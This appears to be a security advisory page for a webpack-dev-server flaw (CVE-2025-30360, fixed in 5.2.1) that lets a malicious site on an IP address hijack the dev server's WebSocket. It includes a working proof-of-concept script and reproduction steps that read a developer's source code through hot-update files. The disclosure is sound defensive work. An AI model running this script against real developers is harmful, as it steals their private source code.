webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser
Summary
Source code may be stolen when you access a malicious web site with non-Chromium based browser.
Details
The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.
related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
http://{ipaddress}/?target=http://localhost:8080&file=mainwith a non-Chromium browser (I used Firefox 134.0.1) - Edit
src/index.jsin the extracted directory - You can see the content of
src/index.js
The script in the POC site is:
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | webpack-dev-server | < 5.2.1 | 5.2.1 |
References
- https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h
- https://nvd.nist.gov/vuln/detail/CVE-2025-30360
- https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e
- https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb
- https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239
- https://github.com/webpack/webpack-dev-server
- https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-346- Platform
- npm
- Package
webpack-dev-server- Disclosed
- 04.06.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-9jgg-88mc-972h - CC BY 4.0
Vulnerability history: webpack-dev-server
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 7
- First → latest
- 01.2019 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 6
Disclosures per year
- 2019: 1
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 2
- 2026: 4
-
webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser this entry
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